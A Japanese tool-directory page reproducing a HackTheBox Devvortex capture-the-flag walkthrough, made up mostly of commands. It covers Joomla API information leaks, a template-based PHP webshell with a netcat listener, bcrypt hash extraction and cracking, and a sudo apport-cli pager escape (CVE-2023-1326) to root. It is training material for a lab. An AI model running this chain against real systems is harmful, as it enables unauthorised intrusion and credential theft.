Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DEVVORTEX — HackTheBox Devvortexのウォークスルー。サブドメインファジング、Joomla API列挙、テンプレートベースのWebシェル、bcryptハッシュクラッキング、Apport-CLI CVE-2023-1326権限昇格を扱う。 | Kitploit
ツール/GitHubGitHub/r3fr4kt/devvortex
パスワードクラッキング特権昇格脆弱性分析ウェブアプリケーション悪用情報収集CTFペネトレーションテストサブドメイン列挙学習と教育ラボと実践
GitHubr3fr4kt/devvortex

DEVVORTEX

7時間58分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HackTheBox Devvortexのウォークスルー。サブドメインファジング、Joomla API列挙、テンプレートベースのWebシェル、bcryptハッシュクラッキング、Apport-CLI CVE-2023-1326権限昇格を扱う。

リポジトリを見る

DEVVORTEX

HackTheBox: Devvortex — マシン攻略記

HackTheBoxのDevvortexマシンの侵害を詳細に解説する包括的な技術ウォークスルー。この経路では、初期アクセスのためのサブドメインファジング、Joomla API列挙、テンプレート改変、ラテラルムーブメントのためのデータベースハッシュ抽出とクラッキング、そしてrootへの権限昇格のための**Apport-CLI (CVE-2023-1326)**の悪用を実演する。


エグゼクティブサマリー

  • ターゲットOS: Linux
  • 難易度: Easy
  • ドメイン: devvortex.htb
  • サブドメイン: dev.devvortex.htb
  • 主要概念: サブドメイン列挙、Joomla CMS悪用、情報漏洩、Bcryptハッシュクラッキング、Sudo悪用 (apport-cli)。

1. 偵察と列挙

ポートスキャン (Nmap)

まず全ポートに対して高速なTCPポート探索を実施した:

root@kitploit:~
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>

続いて、特定されたオープンポートに対してサービスおよびバージョン検出スキャンを実行した:

Bash

root@kitploit:~
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>

hostsファイルの設定

ベースとなるターゲットドメインをローカルのホスト名解決テーブルに追加する:

Bash

root@kitploit:~
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb

サブドメイン探索 (FFUF)

追加のWeb資産を特定するためにバーチャルホストをファジングする:

Bash

root@kitploit:~
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ

結果: dev.devvortex.htbを発見。dev.devvortex.htbを/etc/hostsに追加。

ディレクトリファジング

新たに発見したバーチャルホスト上のルートを列挙する:

Bash

root@kitploit:~
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ

結果: /administratorエンドポイントを発見し、Joomlaの管理者認証ポータルが露出していることが判明。

2. 初期アクセス (足がかり)

Joomla API経由の情報漏洩

JoomlaのREST APIが公開しているエンドポイントを調査し、機密性の高いアプリケーションメトリクスとユーザーを収集する:

Bash

root@kitploit:~
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)

サイトテンプレート経由のWebシェルインジェクション

列挙中に判明した認証情報を使用して、Joomlaの/administratorポータルにログインする:

  1. System > Site Templatesに移動する。

  2. アクティブなテンプレートを選択し、error.phpを開く。

  3. error.phpの内容を標準的なPHPリバースシェルペイロードに置き換える。

ローカルでnetcatリスナーを起動する:

Bash

root@kitploit:~
nc -lvnp 4444

存在しないページをリクエストするか、ファイルに直接アクセスしてerror.phpの実行をトリガーする。

TTYシェルの安定化

シェルがwww-dataとして接続したら、対話型PTYセッションを生成する:

Bash

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

3. ラテラルムーブメント (Logan)

データベース列挙

Web設定ファイルから取得した認証情報を使用して、ローカルのMySQLデータベースにアクセスする:

Bash

root@kitploit:~
mysql -u lewis -p

ユーザーテーブルをクエリして、保存されている認証情報ハッシュを特定する:

SQL

root@kitploit:~
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;

オフラインパスワードクラッキング

ユーザーloganのbcryptパスワードハッシュをローカルファイルに抽出する:

Bash

root@kitploit:~
nano hash.txt

John the Ripperとrockyou.txtを使ってハッシュをクラックする:

Bash

root@kitploit:~
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

SSH経由の認証

クラックした認証情報を使って、ユーザーloganとして永続的なSSHセッションを確立する:

Bash

root@kitploit:~
ssh [email protected]

ユーザーフラグ

Bash

root@kitploit:~
cat user.txt

4. 権限昇格

Sudo権限の監査

loganユーザーに許可されているバイナリを検査する:

Bash

root@kitploit:~
sudo -l

出力: ユーザーは/usr/bin/apport-cliをrootとして実行できる。

Apport-CLIの悪用 (CVE-2023-1326)

インストールされているapport-cliのバージョンを確認する:

Bash

root@kitploit:~
apport-cli --version

/var/crashに既存のレポートファイルがないか検査する。空の場合は、クラッシュファイルを手動で作成する:

Bash

root@kitploit:~
echo "ProblemType: Crash" > /var/crash/.crash

sudoを使って、作成したクラッシュファイルに対してapport-cliを起動する:

Bash

root@kitploit:~
sudo /usr/bin/apport-cli -c /var/crash/.crash
  1. vを押してView reportを選択する。

  2. ページャー (less) が内容を読み込んだら、次を入力してシステムシェルに脱出する:

Plaintext

root@kitploit:~
!/bin/bash

5. システムの掌握

rootへの昇格を確認する:

Bash

root@kitploit:~
whoami
# Output: root

ルートフラグ

Bash

root@kitploit:~
cat /root/root.txt
ツールをダウンロード